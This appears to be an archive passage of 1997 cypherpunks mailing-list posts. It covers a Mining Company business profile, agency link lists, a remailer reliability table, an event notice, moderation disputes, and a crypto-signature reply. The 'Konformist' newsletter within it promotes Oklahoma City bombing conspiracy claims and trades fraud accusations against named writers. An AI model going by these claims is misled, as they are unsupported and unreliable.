off. *And Now for Something Really Different* When Kurnit first ran the vision by me a couple of weeks ago, I said "To me it seems like this is..." "AOL on the Web," Kurnit interrupted. "Not exactly," I said, "It's like AOL on the Web with a hint of Amway thrown in." One of the problems with providing editorial context for the Net is that it winds up costing a lot of money. Kurnit's previous venture with MCI/Newscorp was iGuide. They built a great guide to the Net, but ultimately they scaled it back to just become a guide to entertainment on the Net. You've read the reports all over the place about scaled back editorial efforts and rightsizing. Good editorial doesn't come cheap, at least not when done traditionally. The Mining Company isn't going after the traditional model of hiring a bunch of full-time editors and bringing them in house. They plan to use folks already out there on the Net. Once upon a time while I was at IBM, I helped recruit Chris Locke, of MecklerWeb notoriety away from the MCI/News Corp effort Kurnit was running. While there are many things Chris and I do not agree on, I was very much in synch with Chris when it came to the idea of communities of interest on the Web. Give remote people the tools to produce the content, Locke would say, and you'd be able to easily build hundreds if not thousands of communities of interest very inexpensively. Locke who is now with a hardware company in Colorado will no doubt take interest in what Kurnit and the gang at The Mining Company are up to, because they are all about providing the tools to produce the communities of interest inexpensively! If your chosen as one of its forum moderators (they call them Guides), you'll be given access to all the tools you need to build a site on the service. Now you may be thinking, "Ah, GeoCities does that already!" GeoCities < http://www.geocities.com > gives free web pages and is organized around certain communities of interest. But their homesteader program is not about setting up an all-encompassing online service. And while it is a great place to create a free web page, there's no real business model for the person creating the page. If you build a great site there, GeoCities gets the revenue on all the traffic that goes there. Because it has a lot of traffic, GeoCities can send some traffic to your Web site. But in the end, the model for GeoCities is one to give you a free page on the Web. This is good for you if you're just in it for the fun of it, and good for GeoCities too. I think GeoCities is great, but if I am looking for something in particular, I wouldn't think to look there first. The Mining Company wants to create a space that no matter what it is you hope to find, you'll look there first. *They Call them Guides* The Mining Company wants to create quality communities of interest. And for every community (channel) created, there will be a unique moderator/editor. The Mining Company calls them Guides. It's looking for more than just a few quality folks to become Guides and form their service. Starting Monday, they will begin accepting applications to become Guides on the service. There could be multiple sites about the same thing during the start-up phase, but ultimately it will be whittled down to one Guide/site per special interest. To ensure quality, they'll be a review committee set-up to make sure quality standards are up to snuff, including some folks from the community of Guides. Kurnit believes between that, the natural inclination for other Guides to point out areas of, um, weakness and user feedback, they'll have a good handle on quality. Additionally, there will be some in-house editorial to oversee major groupings (like Technology, Personal Finance, etc.) "The Mining Company is dedicated to serving the needs of its Guides and users," said Kurnit. "We give the tools and support to the Guides to help users find what they want, trust what they find, and connect them with the most valuable sites on the Net and with other interesting people." "This model is now only possible because of the team effort at The Mining Company to integrate the latest improvements in Internet technology and the newly identified needs of users and independent Web producers," adds Kurnit. *Getting the Guides* Will it be easy to get the ultimately thousands of Guides necessary to run this service? "How much talent is out there," asks Kurnit. "We look at the thousands of pages out there on AOL, GeoCities, etc., and the rest of the Internet," Kurnit said. "All we think we need to get is 2%-3% of the talent pool." In certain areas it will likely be very competitive. Everyone will want to get there first. "First there's the application process," said Scott Kurnit in a phone Interview. "You're going to show us your bio and you're going to write some columns so we can see your writing style. If you make the grade, you make it to our orientation process," Kurnit said. The Mining Company places its focus on training the Guides and giving them the tools they need to make a site. If you "make the grade" you basically have 3 weeks (2 of which are the "orientation") to get a site up-and-running on the service. "The fact is, if you can't get it done in a reasonable time then you probably don't have the dedication or time to get it done," says Kurnit. Just how much time will it take for Guides to put together sites? "We're not looking for anyone to quite their day jobs," said Kurnit. "We're looking at about a 10 hour a week commitment to produce the sites." But Kurnit also says that though there will be only one Guide per site, the Guides will be able to line up assistants. *What's in it for You?* So why The Mining Company then? Why not GeoCities or doing it on your own? Well, there are a couple of reasons. One is the promise of exposure, the other is the promise of MONEY. There is a model here, especially if you're not looking to quit your day job. While I imagine it will have to shift its model somewhat, there are some opportunities to make a buck or two for the Guides. It might not be much money, but if you're already throwing 10 hours or so a week towards maintaining a Web page that lines up around a special interest or two, any money is better than what you're probably getting now. Basically, The Mining Company is looking to allocate 40% of all advertising revenues back to the Guides themselves. The real pool here is 30%, with the additional 10% being used for things like bonuses. So, how does it work? Kurnit is looking to get quickly to a million or so page views a day (each of the pages I saw had 2 advertisements. By the end of the year, Kurnit hopes to be in the 10 million - 15 million page views. It sounds a little ambitious, but if they're successful lining up quality Guides, it could become a reality. So let's say they're getting 5 million page views per day. Based on what I saw, that would net out to be about 300 million ads running per month. Lets say ad sales average out to $30/1000 (a $30 CPM). Based on that, you're looking at a cool $9 million a month in advertising revenue. So $3.6 million is in the Guide pool, but only $2.7 million is for the true revenue split. Now, let's say you're a Guide who got one-tenth of 1 percent of The Mining Company's overall traffic. You'd make a cool $2,700 a month for your efforts. If you happen to be a guide in one of the "killer categories" whether it be a parents site or a kids site or a computing site, it's not unreasonable to think that you might get as much as 1%. That would be $27,000 per month!! Some people will balk at the 40%-60% share, but I think that's pretty fair. Where I'd predict the model will have to change, however, is in the cases where the cost per thousand (CPM) view being charged the advertisers is much higher than the average of the overall site. If the overall site average is $30/1000, but your site is generating a CPM of around $90, you're probably not going to want to be paid based on averages. *Will it Work?* In short, I think this could work quite nicely. The premise of a front door that links to content that is all packaged with a consistent look and feel is a winning premise. With AOL's recent move to flat-fee, one big advantage a Net service has over a proprietary model like AOL is the ability to create content far more easily and inexpensively. Much coverage has been given this week regarding AOL beginning to charge its partners in its Company Connection a $55,000 fee each year to participate. Some in AOL are saying its reasonable since the areas amount to "free" advertising for the companies, but realistically speaking, I think it is a maintenance fee AOL is charging to offset the cost of dealing with these forums. I think it is reasonable to expect to see AOL begin to charge similar fees for any content that isn't "must have" for them, now that the hourly charges that once subsidized these areas are gone. There is a cost of throwing in-house support at these online areas and much of the cost is due to the fact that it's a proprietary system. Setting up new "forms" and new looks just isn't easily accomplished by the content providers themselves. So, the timing may be good for The Mining Company. There are at least two tricks Kurnit and Co. must pull off. First, they have to get the Guides. That starts on Monday, when they begin accepting applications. The next will be to market the site in a way that gets people to the front door. Internet of the people, for the people and by the people, it has a nice ring to it... I'm sure we'll hear more about this when the site officially launches in April. For more info, check out < http://www.miningco.com >, sometime on Monday, they will make a lot more information available there than the "coming soon" that was there as of this writing. Member Internet Society - Certified BETSI Programmer - Webmistress *********************************************************************** Carol Anne Braddock (cab8) carolann(a)censored.org 206.42.112.96 My Homepage The Cyberdoc ***********************************************************************

1 0

Military/Intelligence URL
by harka＠nycmetro.com 17 Dec '03

17 Dec '03

-----BEGIN PGP SIGNED MESSAGE----- Here an page, that deals with various intelligence and military institutions... In> Subject: GOVT> AJAX, Government and Military Intelligence In> http://204.180.198.56:80/ajax/ajax.htm In> United States and International Government Military and Intelligence In> Agency Access In> Certain Locations Or Sections Thereof May Be Closed To In> Unauthorized Use. In> PLEASE READ ACCESS WARNINGS, IF ANY, AND ABIDE BY THEM. In> (If You Prefer A Frameless Environment, Click HERE.) In> Last update: 7 FEBRUARY 1997. All accesses verified at In> time of inclusion. In> CIA Central Intelligence Agency In> DIA Defense Intelligence Agency In> NRO National Reconnaissance Office In> NSA National Security Agency In> SS Secret Service In> USCSOI U.S. Customs Service Office of Investigation In> ATF Bureau of Alcohol, Tobacco and Firearms In> BOP Federal Bureau of Prisons In> CID U.S. Army Criminal Investigation Command In> COURTS U.S. Federal Courts In> FBI Federal Bureau of Investigation In> FINCEN Financial Crimes Enforcement Network In> FLETC Federal Law Enforcement Training Center In> MARSHALS U.S. Marshals Service In> NIJ National Institute of Justice In> ACC Air Combat Command In> AFSPC Air Force Space Command In> BMDO Ballistic Missile Defense Organization In> DEFENSE Defense Department In> DISA Defense Information Systems Agency In> DRMS Defense Reutilization and Marketing Service In> DTIC Defense Technical Information Center In> JCS Joint Chiefs of Staff In> NAVWAN Naval Aviation Systems Team Wide Area Network In> NAWCWPNS Naval Air Warfare Center Weapons Division In> NSWC Naval Surface Warfare Center In> USAFA United States Air Force Academy In> AHPCRC Army High Performance Computing Research Center In> ARPA Advanced Research Projects Agency In> LABLINK U.S. Department of Defense Laboratory System In> NRL The Naval Research Laboratory RL In> USAF Rome Laboratory for C41 Technology In> USACIL U.S. Army Criminal Investigation Laboratory In> NATGUARD Army and Air National Guards In> USA United States Army In> USAF United States Air Force In> USCG United States Coast Guard In> USMC United States Marine Corps In> USN United States Navy In> EPA U.S. Environmental Protection Agency In> FAA Federal Aviation Administration Technical Center In> FCC Federal Communications Commission In> FTC Federal Trade Commission In> NMFS National Marine Fisheries Service In> NRC Nuclear Regulatory Commission In> SEC Securities and Exchange Commission In> CDC Centers for Disease Control and Prevention In> CENSUS U.S. Department of Commerce Bureau of the Census In> CONGRESS U.S. House of Representatives In> CUSTOMS U.S. Customs Service In> DOE U.S. Department of Energy National Laboratories In> & Programs In> EXECUTIVE The White House In> FDIC Federal Deposit Insurance Corporation In> FEMA Federal Emergency Management Agency In> FMS Financial Management Service In> GPO U.S. Government Printing Office In> GSA U.S. General Services Administration In> HHS U.S. Department of Health and Human Services In> HPCC NOAA High Performance Computing and In> Communications IRS Internal Revenue Service In> JUSTICE Justice Department In> NARA National Archives and Records Administration In> NASA National Aeronautics and Space Administration In> NCDC National Climatic Data Center In> NIMH National Institute of Mental Health In> NOAA National Oceanic & Atmospheric Administration In> NSF National Science Foundation In> NTIS National Technical Information Service In> SBA Small Business Administration In> SEL Space Environment Laboratory In> STATE State Department In> TREASURY Treasury Department In> USCODE U.S. House of Representatives In> Internet Law Library U.S. Code In> CANADA In> CSE Communications Security Establishment In> CISC Criminal Intelligence Service Canada In> CSIS Canadian Security Intelligence Service In> SIRC Security Intelligence Review Committee In> UNITED KINGDOM CIM Central Intelligence Machinery In> CANADA In> DJC Department of Justice of Canada In> FORENSIC The Forensic Web In> RCMP Royal Canadian Mounted Police In> SGC Solicitor General of Canada In> UNITED NATIONS UNCPCJ United Nations Crime Prevention & In> Criminal Justice In> CANADA In> CFC Canadian Forces College In> DREO Defense Research Establishment, Ottawa In> UNITED KINGDOM In> ARMY The British Army In> CDA Centre for Defence Analysis In> DRA Defence Research Agency In> NATO North Atlantic Treaty Organization In> SACLANT Supreme Allied Commander, Atlantic In> SHAPE Supreme Headquarters Allied Powers Europe In> BECCA Business Espionage Controls & Countermeasures In> Association In> CRYPTOLOG Internet Guide to Cryptography In> DCJFTF Washington, D.C. Joint Fugitive Task Force In> WANTED "The World's Most Wanted" (Fugitives and In> Unsolved Crimes) Ciao Harka /*************************************************************/ /* This user supports FREE SPEECH ONLINE ...more info at */ /* and PRIVATE ONLINE COMMUNICATIONS! --> http://www.eff.org */ /* E-mail: harka(a)nycmetro.com (PGP-encrypted mail preferred) */ /* PGP public key available upon request. [KeyID: 04174301] */ /* F-print: FD E4 F8 6D C1 6A 44 F5 28 9C 40 6E B8 94 78 E8 */ /*<<<<<<<<<<<<<<<<<<<<<<<<<<<<<>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>*/ /* May there be peace in this world, may all anger dissolve */ /* and may all living beings find the way to happiness... */ /*************************************************************/ -----BEGIN PGP SIGNATURE----- Version: 2.6.2 iQEVAgUBMv7aGjltEBIEF0MBAQF1CAf+MyLUa3sBKCAuxhzCZ0tQqP3jxAjQpIuV WdsTCW9L3jPwLdZ9BmqeqAuaIU4JQzCpEx5bgKdzGThF5mG2U4XaeOcD4gBpWZyz sYOZzcoYNe6CX6m55a9UqiEpZu4mK9TBkO7OXSfV3J3CygVAbo7zjC+lW2r7L9F8 3vTqrxbOCb3SMEl4k3L5QVtKOGVSh7MMIesBtmQ2SNhhvSfrdFYBnCcvtmnvYi8j 6YpI5wrkiNzueuFwoD9YoRR7UugE5kcCyJ3FFHym7RzQUL8XsHRhsk1XoTBHvXni 2Tfno7DH5+T4FuVZTWeaAVhD7OTfK2n0lBCf0x2I5F1iEUurbdddig== =s4om -----END PGP SIGNATURE----- If encryption is outlawed, only outlaws will have encryption...

1 0

List of reliable remailers
by Raph Levien 17 Dec '03

17 Dec '03

I operate a remailer pinging service which collects detailed information about remailer features and reliability. To use it, just finger remailer-list(a)kiwi.cs.berkeley.edu There is also a Web version of the same information, plus lots of interesting links to remailer-related resources, at: http://www.cs.berkeley.edu/~raph/remailer-list.html This information is used by premail, a remailer chaining and PGP encrypting client for outgoing mail. For more information, see: http://www.c2.org/~raph/premail.html For the PGP public keys of the remailers, finger pgpkeys(a)kiwi.cs.berkeley.edu This is the current info: REMAILER LIST This is an automatically generated listing of remailers. The first part of the listing shows the remailers along with configuration options and special features for each of the remailers. The second part shows the 12-day history, and average latency and uptime for each remailer. You can also get this list by fingering remailer-list(a)kiwi.cs.berkeley.edu. $remailer{"extropia"} = "<remail(a)miron.vip.best.com> cpunk pgp special"; $remailer{"mix"} = "<mixmaster(a)remail.obscura.com> cpunk mix pgp hash latent cut ek ksub reord ?"; $remailer{"replay"} = "<remailer(a)replay.com> cpunk mix pgp hash latent cut post ek"; $remailer{'alpha'} = '<alias(a)alpha.c2.org> alpha pgp'; $remailer{'nymrod'} = '<nymrod(a)nym.jpunix.com> alpha pgp'; $remailer{"lead"} = "<mix(a)zifi.genetics.utah.edu> cpunk mix pgp hash latent cut ek"; $remailer{"exon"} = "<remailer(a)remailer.nl.com> cpunk pgp hash latent cut ek"; $remailer{"haystack"} = "<haystack(a)holy.cow.net> cpunk mix pgp hash latent cut ek"; $remailer{"lucifer"} = "<lucifer(a)dhp.com> cpunk mix pgp hash latent cut ek"; $remailer{"jam"} = "<remailer(a)cypherpunks.ca> cpunk mix pgp hash middle latent cut ek"; $remailer{"winsock"} = "<winsock(a)rigel.cyberpass.net> cpunk pgp pgponly hash cut ksub reord"; $remailer{'nym'} = '<config(a)nym.alias.net> newnym pgp'; $remailer{"balls"} = "<remailer(a)huge.cajones.com> cpunk pgp hash latent cut ek"; $remailer{"squirrel"} = "<mix(a)squirrel.owl.de> cpunk mix pgp pgponly hash latent cut ek"; $remailer{"middle"} = "<middleman(a)jpunix.com> cpunk mix pgp hash middle latent cut ek reord ?"; $remailer{'cyber'} = '<alias(a)alias.cyberpass.net> alpha pgp'; $remailer{"dustbin"} = "<dustman(a)athensnet.com> cpunk pgp hash latent cut ek mix reord middle ?"; $remailer{'weasel'} = '<config(a)weasel.owl.de> newnym pgp'; $remailer{"death"} = "<x(a)deathsdoor.com> cpunk pgp hash latent post"; $remailer{"reno"} = "<middleman(a)cyberpass.net> cpunk mix pgp hash middle latent cut ek reord ?"; $remailer{"wazoo"} = "<remailer(a)wazoo.com> cpunk mix pgp hash latent cut ek"; $remailer{"shaman"} = "<mix(a)mix.nymserver.com> cpunk mix pgp. hash latent cut"; catalyst(a)netcom.com is _not_ a remailer. lmccarth(a)ducie.cs.umass.edu is _not_ a remailer. usura(a)replay.com is _not_ a remailer. remailer(a)crynwr.com is _not_ a remailer. There is no remailer at relay.com. Groups of remailers sharing a machine or operator: (cyber mix) (weasel squirrel) The alpha and nymrod nymservers are down due to abuse. However, you can use the nym or weasel (newnym style) nymservers. The cyber nymserver is quite reliable for outgoing mail (which is what's measured here), but is exhibiting serious reliability problems for incoming mail. The squirrel and winsock remailers accept PGP encrypted mail only. 403 Permission denied errors have been caused by a flaky disk on the Berkeley WWW server. This seems to be fixed now. The penet remailer is closed. Last update: Mon 10 Feb 97 6:46:24 PST remailer email address history latency uptime ----------------------------------------------------------------------- nym config(a)nym.alias.net **-#+*#*#*## 1:59 100.00% jam remailer(a)cypherpunks.ca ****** 8:22 99.98% wazoo remailer(a)wazoo.com *+++++ 33:48 99.97% weasel config(a)weasel.owl.de ++++++-++++ 1:05:51 99.84% lucifer lucifer(a)dhp.com ++++++++++++ 37:45 99.78% dustbin dustman(a)athensnet.com ----+-- .+++ 2:42:13 99.65% balls remailer(a)huge.cajones.com +-- **### *# 2:12 99.60% cyber alias(a)alias.cyberpass.net ++*+++*** *+ 30:13 99.59% haystack haystack(a)holy.cow.net *#-+###*##* 4:06 99.42% squirrel mix(a)squirrel.owl.de ++ +++-+ ++ 1:05:29 99.26% exon remailer(a)remailer.nl.com #* * ## **# 1:21 99.18% middle middleman(a)jpunix.com ---+-. +++ 2:51:34 98.78% replay remailer(a)replay.com +-***+*---+* 27:45 98.57% extropia remail(a)miron.vip.best.com .- ------- 4:46:55 98.08% reno middleman(a)cyberpass.net --+- .++ 1:27:14 96.63% mix mixmaster(a)remail.obscura.com +_ __.-*+ 22:42:38 93.53% winsock winsock(a)rigel.cyberpass.net ----.--- + 5:48:14 75.89% shaman mix(a)mix.nymserver.com 2:46 9.00% History key * # response in less than 5 minutes. * * response in less than 1 hour. * + response in less than 4 hours. * - response in less than 24 hours. * . response in more than 1 day. * _ response came back too late (more than 2 days). cpunk A major class of remailers. Supports Request-Remailing-To: field. eric A variant of the cpunk style. Uses Anon-Send-To: instead. penet The third class of remailers (at least for right now). Uses X-Anon-To: in the header. pgp Remailer supports encryption with PGP. A period after the keyword means that the short name, rather than the full email address, should be used as the encryption key ID. hash Supports ## pasting, so anything can be put into the headers of outgoing messages. ksub Remailer always kills subject header, even in non-pgp mode. nsub Remailer always preserves subject header, even in pgp mode. latent Supports Matt Ghio's Latent-Time: option. cut Supports Matt Ghio's Cutmarks: option. post Post to Usenet using Post-To: or Anon-Post-To: header. ek Encrypt responses in reply blocks using Encrypt-Key: header. special Accepts only pgp encrypted messages. mix Can accept messages in Mixmaster format. reord Attempts to foil traffic analysis by reordering messages. Note: I'm relying on the word of the remailer operator here, and haven't verified the reord info myself. mon Remailer has been known to monitor contents of private email. filter Remailer has been known to filter messages based on content. If not listed in conjunction with mon, then only messages destined for public forums are subject to filtering. Raph Levien

1 0

DCSB: Online Government & Electronic Commerce - Legislation andPublic Sector Initiatives
by Robert Hettinga 17 Dec '03

17 Dec '03

-----BEGIN PGP SIGNED MESSAGE----- The Digital Commerce Society of Boston Presents Daniel Greenwood, Esq. Deputy General Counsel Information Technology Division Commonwealth of Massachusetts "Online Government & Electronic Commerce - Legislation and Public Sector Initiatives" Tuesday, March 4, 1997 12 - 2 PM The Downtown Harvard Club of Boston One Federal Street, Boston, MA Dan will give us an update on recent information age legislative and operational developments in the public sector. Special attention will be paid to: Electronic Signature and Record Legislation; Joint Government/Private Sector Attempts to Set Certification Authority Standards; Cutting Edge Public Sector PKI Projects; Recent Coordinated State-Federal-Foreign Electronic Commerce Policy Initiatives; and much, much more . . . Speaker: Daniel Greenwood, Esq. Information Technology Division, Deputy General Counsel Commonwealth of Massachusetts Office: http://www.state.ma.us/itd/legal home: http://www.tiac.net/biz/danielg Mr. Greenwood practices information technology law for the Commonwealth of Massachusetts. Recent relevant activities include: * Co-Author of the Draft 1997 Mass. Electronic Records and Signature Act * Chairman of the Commonwealth of Mass. PKI Task Force * Chairman of the ABA Info. Security Comm., Legislative Sub-Committee * Co-Chair of the ABA Cyberspace Law Comm., Legislative Work Group * Contributing Author: ABA Digital Signature Guidelines * Negotiator of Contracts for Internet Security and Payment Systems * Board Member of SigNet.Org and Chair of Legal Special Interest Group * Director of the Virtual State House Project (MIT/Stanford Law School) * Faculty Member: MCLE Health Care & Info. Technology Program * Guest Lecturer for Suffolk Law School High Tech. Symposium * Selection Board Chairman for First Commonwealth of Mass. C/A Business This meeting of the Digital Commerce Society of Boston will be held on Tuesday, March 4, 1997 from 12pm - 2pm at the Downtown Branch of the Harvard Club of Boston, One Federal Street. The price for lunch is $27.50. This price includes lunch, room rental, and the speaker's lunch. ;-). The Harvard Club *does* have dress code: jackets and ties for men, and "appropriate business attire" for women. We will attempt to record this meeting and put it on the web in RealAudio format at some future date We need to receive a company check, or money order, (or, if we *really* know you, a personal check) payable to "The Harvard Club of Boston", by Saturday, March 1, or you won't be on the list for lunch. Checks payable to anyone else but The Harvard Club of Boston will have to be sent back. Checks should be sent to Robert Hettinga, 44 Farquhar Street, Boston, Massachusetts, 02131. Again, they *must* be made payable to "The Harvard Club of Boston". If anyone has questions, or has a problem with these arrangements (We've had to work with glacial A/P departments more than once, for instance), please let us know via e-mail, and we'll see if we can work something out. Planned speakers for DCSB are: March Daniel Greenwood The Role of State Government in Digital Commerce April Stewart Baker Encryption Policy and Digital Commerce We are actively searching for future speakers. If you are in Boston on the first Tuesday of the month, and you would like to make a presentation to the Society, please send e-mail to the DCSB Program Commmittee, care of Robert Hettinga, <mailto: rah(a)shipwright.com> . For more information about the Digital Commerce Society of Boston, send "info dcsb" in the body of a message to <mailto: majordomo(a)ai.mit.edu> . If you want to subscribe to the DCSB e-mail list, send "subscribe dcsb" in the body of a message to <mailto: majordomo(a)ai.mit.edu> . Looking forward to seeing you there! Cheers, Robert Hettinga Moderator, The Digital Commerce Society of Boston -----BEGIN PGP SIGNATURE----- Version: 2.6.2 iQCVAwUBMwB+VvgyLN8bw6ZVAQEsRAQAiInZXDXlzdMn0B+b9A6zgWHH5POJku5v k9HIZK286Paw1KWKYsw8VyYjUoG4vq/LAh1CagWkwL4EN9Ysg7kbU+LP0W4u04vb /QoKk5rWpmXuplXx1Fp9IhIe2O6oV0vTInJqPV3zkXk4qGzYUrQ0bqLbQn769iMO 7pwwVbkioSc= =m5Pz -----END PGP SIGNATURE----- ----------------- Robert Hettinga (rah(a)shipwright.com) Philodox e$, 44 Farquhar Street, Boston, MA 02131 USA "Never attribute to conspiracy what can be explained by stupidity." -- Jerry Pournelle The e$ Home Page: http://www.shipwright.com/rah/ FC97: Anguilla, anyone? http://www.ai/fc97/

1 0

Re: Moderation experiment almost over; "put up or shut up"
by Sandy Sandfort 17 Dec '03

17 Dec '03

~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~ SANDY SANDFORT . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . C'punks, You have probably just read John's post. I truly hope YOU (each and every one of you) can rise to his challenge. If you have offered nothing in the past but criticism, it's now time to get a bit more real. What will it be, your money, time, equipment? I would hope that the loudest advocates of "free speech" turn out to be the most generous, but I'm not holding my breath. Maybe the solution(s) will come from you lurkers. I hope you can put down your beer long enough to get involved. Finally, if anyone wants to discuss why the Cypherpunk list has come to this, or what I did right or wrong as a moderator, let's talk about--on the new list(s) YOU create. For now, though, it's off-topic. We have work to do. S a n d y P.S. To all those people who privately supported me in my attempt to help the list deal with its problems, thank you. I wouldn't have come back without your and John's encouragement. ~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~

7 9

The Konformist: Viewer Mail
by Robalini＠aol.com 17 Dec '03

17 Dec '03

Note: Either you requested to receive a subscription to this e-mail, or someone else recommended you to be placed on this list. If you are interested in a free subscription, please e-mail Robalini(a)aol.com with the subject: I NEED TO KONFORM. (Okay, you can use something else, but it's a cool catch phrase.) Please e-mail me back with subject: CANCEL KONFORMIST if you're not interested in receiving this. Thanks, Robert Sterling. The following comments are from Alex Constantine. Subj: Jon Rappaport's Frauds Date: 97-01-27 14:29:28 EST From: alex(a)mach1.directnet.com (Alex Constantine) I want you to know I have no faith whatsoever in Rappaport. His "book" on the CIA and mind control is actually a file of transcripts compiled by Valerie Wolf, a New Orleans therapist. Rappaport wrote a five-page introduction, and he has since claimed ad nauseum that he is the "author" of the book. He is not. He did not even edit it. The material was used to advance his own career, and published as is. Yet he still claims he is the book's "author," and never corrects the many introductions in which he is credited with having "written" the thing. This is a fraud. His book on the OK bombing has its own problems, among them a reliance on General Partin of the Birch Society, discussed in my story on Calspan & McVeigh, and other dubious sources. This is not to say the book is totally false, but much of it does not check out. Rappaport also fawns over Bo Gritz. Need I say more? Robalini's Note: My sole experiences with Jon Rappaport is interviewing him on the phone and through my work with Jack Herer and the Hemp Legalization movement. Thief or not, Rappaport has a good collection of interesting info he's written about. As for General Partin and Bo Gritz, I take their information for what it is worth, and often it is worth a lot. Also from big Al: >>1) Alex Constantine, in his piece, has, to a degree, implied that McVeigh is >>guilty as charged but was brainwashed. > > I said specifically he was "monitored." I don't know if he was >brainwashed, and neither do you, but there is some evidence to support his >claim that he was implanted. Other killers in the article were NOT >brainwashed, and I did NOT "imply" that they were. Sweeny, the killer of >Allard Lowenstein, was ANGRY, not "brainwashed." The freeway killer in San >Francisco was NOT brainwashed, but ANGRY. The only brainwashed figure in >the story was Dan White. McVeigh was ANGRY, not BRAINWASHED. > >> Personally, I have some very serious >>doubts of his guilt, to say the least. I suspect McVeigh, though involved >>with the people who did the bombing, had no fucking clue what was going on. >> In fact, if you check out some other sites (including Tony Sgarlatti's web >>page at http://www.future.net/~thetruth/okc.html and the always stupendous >>Ian Goddard's http://www.erols.com/igoddard/facts.htm) you will soon discover >>that the evidence really leans to there being two bombs, and that neither of >>them actually came from the truck itself. > > I've talked to Scarlatti. He posted bogus information, and an >equally dubious explanation for the bogus information. I know there are >others involved, and possibly more than one bomb. Your view on the case >agrees with the militias, who I found to be lying on numerous occasions. >What I posted was an extract from a much longer story that answers many of >your questions, and clarifies some of the hazy areas and your >speculations. McVeigh is no innocent, but your analysis agrees with >Rappaport, whose book is totally made up of militia postings on the >Internet. Robalini's Note: Scarlatti's site, whatever the flaws are to it, is a mindblower, and should be read for that reason alone. I may add he's been very encouraging to The Konformist, and I'm certainly going to burn my bridges with him. Still, if you, or anyone else, has any specific criticisms of his (or other) sites, please let me know and I will forward it. As for the militas, well, I've never been into running around in the forest with guns (though it sounds kind of fun), and I suspect much of that crowd would hate my guts, but I believe they speak a lot of truth, and that their opinion needs to be heard. On the OK Bombing, in particular, they have been admirable in bringing forth evidence that the corporate media has pretended doesn't exist. In fact, if I fault militas members for anything, it is that they don't go far enough in their condemnation of society, and I think it is odd that a group which is very much anti-government could fawn over the military (the most powerful arm of the government) so pathetically. And, lets face it, racism and homophobia is quite rampant in the milta crowd (as it is in the rest of society), so I think there is quite a bit of fraudulence in many members claims of wanting "less government" and being for "freedom". But, hey, if I was going to cut off people who's opinion I disagreed with, I'd be living in a cave. Subj: Re: The Konformist - The Kempler Film Date: Sat, 08 Feb, 1997 06:11 PM EDT From: density4(a)cts.com Greetings Brother Bob, >> RABIN ASSASSINATION FILM REVEALS CONSPIRACY >> by Barry Chamish You're aware, I take it, that Brother Barry Chamish is also fond of writing articles about UFOs and little grey space aliens. Don't believe me, check it out: http://www.cco.net/~trufax/ufo/angel.html -Brother Blue, B:.B:., 33x Sacerdotal Knight of National Security, etc. http://www.users.cts.com/sd/d/density4/index.html E Pluribus Caeruleus -- "Out of many, THAT WHICH IS BLUE" Robalini's Note: That's fine by me. I hope to get some UFO articles and the like out on this list, for, as I've stated before, I think so far The Konformist has been a little too politically oriented. I have been told by many people that that's a bad idea, that I should stick to this niche, but screw it, if UFO articles bug you, you can kiss my ass. ************************************************************ The Konformist is interested in accepting articles, opinions, free subscriptions, and advertising. E-mail us at Robalini(a)aol.com, or call (310) 967-4195. The Konformist is a subsidiary of Sterling Operation Solutions, the trouble-shooting problem-solvers for all business needs. We charge on a sliding scale based on the difficulty (and legality) of the proposed solution. Call (310) 967-4195 for further information. Hey kids, don't forget to enter the "Rockin' To Armageddon Sweepstakes", sponsored by The Konformist, the Official Internet Investigative Journal of the 1997 Academy Awards. (Okay, it's not official, but we're anti-authority anyways.) Right down the day, month, year, and time of the end of the world, and, as a tie-breaker, your nominee for the anti-Christ. The winner will receive a t-shirt stating, "I CameClosest To Predicting The Apocalypse, And All I Got Was This Crummy T-Shirt." You will also receive a free one year supply of Twix candy bars. Also, this is a free magazine, but we'll still take your money if you want. Please send cash, check, money orders, and credit card numbers (Visa, Master Card, American Express, or Discover) to: Robert Sterling Post Office Box 24825 Los Angeles, California 90024-0825

1 0

Re: sci.crypt archive?
by Adam Back 17 Dec '03

17 Dec '03

Paul Rubin <phr(a)netcom.com> writes: > Is anyone on cypherpunks archiving sci.crypt? I'd be interested > in getting hold of some articles from some years back... thanks There is some one who archives it, it's up for ftp. Look in the sci.crypt FAQ, or do a web search to find the URL. I grabbed a copy for Remo Pini for the crypto CD, but I've lost the URL. The Crypto CD (I have one) has Jan 92 to Sep 94 (articles 6871 to 32742) on it. See http://www.rpini.com/ if you're interested. Adam -- print pack"C*",split/\D+/,`echo "16iII*o\U@{$/=$z;[(pop,pop,unpack"H*",<> )]}\EsMsKsN0[lN*1lK[d2%Sa2/d0<X+d*lMLa^*lN%0]dsXx++lMlN/dsM0<J]dsJxp"|dc`

1 0

Re: Moderation experiment almost over; "put up or shut up"
by Brad Dolan 17 Dec '03

17 Dec '03

How do you encourage people to use resources more-or-less wisely? 1. The socialist/nanny model - take charge and give 'em orders We've tried that and it apparently didn't work out. 2. The market model - charge people for what they use A while back, omebody suggested a system which would be self-funding, by charging people for each post they made. Maybe we should try it? If each little piece of ASCII art cost a poster a buck or two to send, he might send fewer. On the other hand, we don't want to discourage interesting posters, so I think some system to reimburse interesting posters would be useful. I'm not the guy to set up the system, but I'll happily buy a modest amount of "posting tickets." Brad On Tue, 11 Feb 1997, John Gilmore wrote: > Sandy hit a pothole in the moderation experiment when Mr. Nemesis > submitted a posting containing nothing but libelous statements about > Sandy's employer. He never anticipated that he wouldn't be able to > follow his announced "post it to one list or the other" policy because > to do so would make him legally liable (in his opinion; he's a lawyer, > I'm not). His gears jammed, and the whole machine came to a halt for > a few days. > > Sandy has agreed to continue moderation through the end of the > original 1-month experiment (through Feb 19). And it's a good thing, > too, because the "cypherpunks community" had better get off its > whining butt in the next ten days, or it will no longer exist. > > I've come to the conclusion that I'm not willing to host the > cypherpunks list any more. It's not the true assholes that brought me > to this decision; it's the reaction from the bulk of people on the > list: suspicion, flamage, and criticism with every attempt to improve > things. I noticed few people volunteering some of their own time, > money, or machines to help out. Almost all the suggestions were > advice for *other* people to implement: > ...

1 0

[CRYPTO] Classic Cryptography
by Brian D Williams 17 Dec '03

17 Dec '03

